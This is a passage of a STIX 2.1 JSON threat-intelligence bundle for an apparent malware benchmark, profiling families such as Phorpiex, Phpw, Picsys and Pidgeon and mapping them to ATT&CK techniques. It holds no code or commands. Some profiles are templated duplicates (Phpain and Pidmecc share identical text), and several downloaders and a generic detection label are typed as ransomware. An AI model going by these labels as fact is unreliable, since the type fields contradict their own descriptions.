      "description": "Phonerooter exhibits technique T1404 (Exploitation for Privilege Escalation (Exploiting the Android/Linux kernel))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a135077-4ab6-55c7-9467-44e9c0c5dca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daa3b646-e950-5cfc-9bae-dfe6d85b4f02",
      "target_ref": "attack-pattern--f3baccc8-6777-5a7d-af54-0490e30ce1f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phonerooter exhibits technique T1636 (Data from Local System: Screen Capture (Using Overlay Attacks to steal credentials))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phorpiex",
      "description": "Phorpiex (also cataloged across the cybersecurity industry as Trik, Worm:Win32/Phorpiex, Trojan:Win32/Phorpiex, and Worm.Win32.Trik) is an infamous, multi-functional Windows botnet and self-replicating worm active since at least 2010. Spanning more than a decade of active operations, Phorpiex has evolved from an IRC-controlled worm into an expansive criminal infrastructure responsible for coordinating global spam distribution, mass sextortion phishing campaigns, and cryptocurrency theft. The worm spreads aggressively across local environments by infecting removable USB flash drives\u2014creating hidden folders and malicious LNK shortcut files\u2014and scanning local network shares. Upon infecting an endpoint, Phorpiex deploys a covert cryptocurrency clipboard hijacker (crypto clipper) that continuously monitors the Windows clipboard for Bitcoin, Ethereum, and Monero wallet patterns, replacing copied addresses with attacker-controlled destinations. Beyond financial theft and spamming, Phorpiex serves as a high-volume malware delivery service, downloading secondary payloads including GandCrab, Avaddon ransomware, BitPyx, and XMRig cryptocurrency miners onto infected hosts worldwide. (Observed samples in benchmark: 115)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Phorpiex",
        "Trojan:Win32/Phorpiex",
        "Worm.Win32.Trik",
        "Trik Botnet",
        "Win32/Phorpiex",
        "Phorpiex Botnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phorpiex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phorpiex"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f0ac68c-3bc3-56c5-a9a6-9c588d2d5057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2636875e-4273-559d-9fa6-6886fc52a5ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--521e67cc-fab2-50a1-a027-bd15f3f53a0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fd1b68b-3cea-55a0-a4eb-0c64a411ed97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adb5e7a7-9bcc-52e5-97a8-c00adef830be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d59506eb-59ab-5773-91dd-4563d683a028",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8a2477-748b-562d-8732-74a39a198f0a",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phorpiex exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75a14fbc-3d02-5e8a-9c2e-6d20b30d4651",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phpain",
      "description": "<h3>Executive Summary</h3>\nPhpain is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPhpain is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Phpain operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Phpain ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Phpain receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Phpain infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Phpain executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Phpain frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Phpain",
        "Downloader.Phpain",
        "Win32/Phpain"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phpain",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phpain"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbf2811d-3623-551b-ae69-00d09c60afa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75a14fbc-3d02-5e8a-9c2e-6d20b30d4651",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpain exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e211d1d-ba2d-5728-91ec-2f81c93ab762",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75a14fbc-3d02-5e8a-9c2e-6d20b30d4651",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpain exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--405f6dc7-5415-52e2-a67a-d655dac8f8d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75a14fbc-3d02-5e8a-9c2e-6d20b30d4651",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpain exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phpw",
      "description": "PHPW (cataloged in antivirus telemetry as Trojan:Win32/PHPW, Trojan.PHPW, and Backdoor:Win32/PHPW) is a Windows backdoor trojan and surveillance agent tracked since 2012. Distributed through deceptive software packages, malicious email attachments, and cracked gaming tools, PHPW is engineered to provide unauthorized persistent remote access to compromised endpoints. Upon execution, PHPW extracts secondary script or binary components into Windows application data folders, modifies autostart registry entries under the Windows Run key, and establishes persistent reverse TCP/HTTP connections to attacker-controlled command-and-control servers. Through this encrypted remote channel, threat actors can execute arbitrary shell commands, navigate the filesystem, capture desktop screenshots, log user keystrokes, and download secondary malware modules (such as cryptocurrency miners and network sniffers). (Observed samples in benchmark: 195)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/PHPW",
        "Trojan.PHPW",
        "Backdoor:Win32/PHPW",
        "Win32/PHPW",
        "Trojan-Spy.Win32.PHPW"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phpw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phpw"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5b9bc0f-8b8c-5031-b8f7-0dae18391f8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpw exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--749de7cb-52ec-5489-9ca9-342c4b4591bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--855ebb2d-b9e8-5b8a-a7fa-efd664fb5cfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpw exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2612575c-5ff5-5c97-992b-db2a89dd68f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpw exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f61e324e-4116-5c2d-9d6c-70f3d0c95bd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1de9c79c-7fc9-5e3a-a578-0270bb3de04c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phpw exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--feb10a9c-c803-587f-93c9-6be90f717018",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Phtg",
      "description": "<h3>Executive Summary</h3>\nPHTG is a generic threat identifier utilized by various antivirus and endpoint detection engines to classify software that exhibits suspicious, trojan-like, or potentially unwanted behavior. It does not refer to a single, monolithic malware family, but rather a spectrum of threats that share common heuristic signatures.\n\n<h3>Behavioral Patterns and Detection</h3>\nThe \"PHTG\" label is most commonly applied when an executable demonstrates behaviors typically associated with malware, despite lacking a specific, known family signature. These behaviors include:\n<ul>\n<li>Attempting to modify critical Windows Registry keys (e.g., Run keys, AppInit_DLLs).</li>\n<li>Executing undocumented or highly suspicious API calls.</li>\n<li>Attempting to inject code into other running processes.</li>\n<li>Establishing unauthorized outbound network connections to unknown or low-reputation IP addresses.</li>\n</ul>\nBecause PHTG is a generic catch-all, the actual threat level can vary wildly\u2014from a minor adware annoyance to a severe remote access trojan (RAT) or ransomware precursor.\n\n<h3>Security and Risk Implications</h3>\nEncountering a PHTG detection requires careful context analysis. Security teams must not dismiss it as a false positive without investigation, as generic detections are often the first line of defense against novel or heavily obfuscated malware variants (zero-days) that have not yet been formally classified by the security community.\n\n<h3>Response and Remediation Strategy</h3>\n<ul>\n<li><strong>Sandboxing:</strong> If a file is flagged as PHTG, submit it to a secure malware sandbox for dynamic analysis to observe its true behavior and network indicators.</li>\n<li><strong>Heuristic Tuning:</strong> Review EDR alerts to determine exactly which heuristic rule triggered the PHTG detection, aiding in identifying the specific malicious action attempted.</li>\n<li><strong>Comprehensive Scanning:</strong> Perform a deep, offline scan of the affected endpoint to ensure no hidden payloads were successfully executed prior to the generic detection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.PHTG",
        "PUP.PHTG",
        "Trojan.Generic.PHTG"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Phtg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/phtg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f24c417-8d11-5c26-bcc8-c569b55023e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--feb10a9c-c803-587f-93c9-6be90f717018",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phtg exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45a21b53-6672-570c-9100-9284c4291752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--feb10a9c-c803-587f-93c9-6be90f717018",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phtg exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--069ef658-c92d-5eb5-9611-e4234d83e927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--feb10a9c-c803-587f-93c9-6be90f717018",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Phtg exhibits technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Picsys",
      "description": "PicSys (cataloged by security vendors under detections including Trojan:Win32/PicSys, Trojan.Win32.Picsys, and Worm.Win32.PICSYS) is a covert surveillance trojan and spyware threat active since 2011. Typically distributed via pirated software cracks, deceptive image-viewing utilities, and malicious spearphishing email attachments, PicSys is engineered to perform comprehensive endpoint surveillance without user detection. Once resident on Windows, PicSys drops persistence copies into system directories and hooks Windows message queues to record all user keystrokes (keylogging), captures periodic desktop screenshots during active user sessions, and monitors active application windows. Furthermore, PicSys compiles stolen system credentials, document files, and user telemetry into encrypted archives and exfiltrates them to attacker-controlled command-and-control servers via HTTP, FTP, or SMTP channels. (Observed samples in benchmark: 82)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/PicSys",
        "Trojan.Win32.Picsys",
        "Worm.Win32.PICSYS",
        "Win32/PicSys"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Picsys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/picsys"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d7e5b73-6904-588b-b502-5e41ba28a413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Picsys exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42697e60-29d3-5e36-bd11-48a9715860c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Picsys exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3917610-5e7e-5b94-ba84-7af1ee6323be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Picsys exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33728c7c-d7f6-5561-96e1-7c872d232836",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Picsys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e25bc38-f3d2-5148-8327-9ed682a13106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d019a21-b7ee-5f85-bdc2-4d39445bd6ff",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Picsys exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--460f86ca-571f-510c-804a-c1dd9457529a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pidgeon",
      "description": "Pidgeon (identified across endpoint security databases under signatures including TrojanDownloader:Win32/Pidgeon, Trojan:Win32/Pidgeon, and Trojan.Pidgeon) is an evasive multi-stage Windows trojan downloader active since 2016. Infiltrating endpoints primarily through phishing email attachments and malicious software downloads, Pidgeon functions as an initial staging loader for secondary crimeware threats. Upon execution, Pidgeon performs environmental fingerprinting, checks for sandbox and hypervisor indicators, and creates autostart registry keys to establish persistence. It connects to remote command-and-control servers over HTTP/HTTPS, transmits host telemetry, and downloads encrypted payload files\u2014frequently modular banking trojans, cryptocurrency miners, and ransomware\u2014saving and executing them from temporary directories or directly into memory via process hollowing. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Pidgeon",
        "Trojan:Win32/Pidgeon",
        "Trojan.Pidgeon",
        "Win32/Pidgeon",
        "TrojanDownloader:Win32/Pidgeon.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pidgeon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pidgeon"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1a143eac-ce10-5479-a419-1816a9335675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pidmecc",
      "description": "<h3>Executive Summary</h3>\nPidmecc is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPidmecc is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pidmecc operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pidmecc ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pidmecc receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pidmecc infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pidmecc executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pidmecc frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pidmecc",
        "Downloader.Pidmecc",
        "Win32/Pidmecc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pidmecc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pidmecc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef44420b-917b-555f-9c27-92c273f1cb30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a143eac-ce10-5479-a419-1816a9335675",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pidmecc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a184fd24-c715-5c1d-91ac-3a72b8da6de9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a143eac-ce10-5479-a419-1816a9335675",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pidmecc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33685d7d-fc78-5f90-83d4-0aea45f06e9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a143eac-ce10-5479-a419-1816a9335675",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pidmecc exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pieshua",
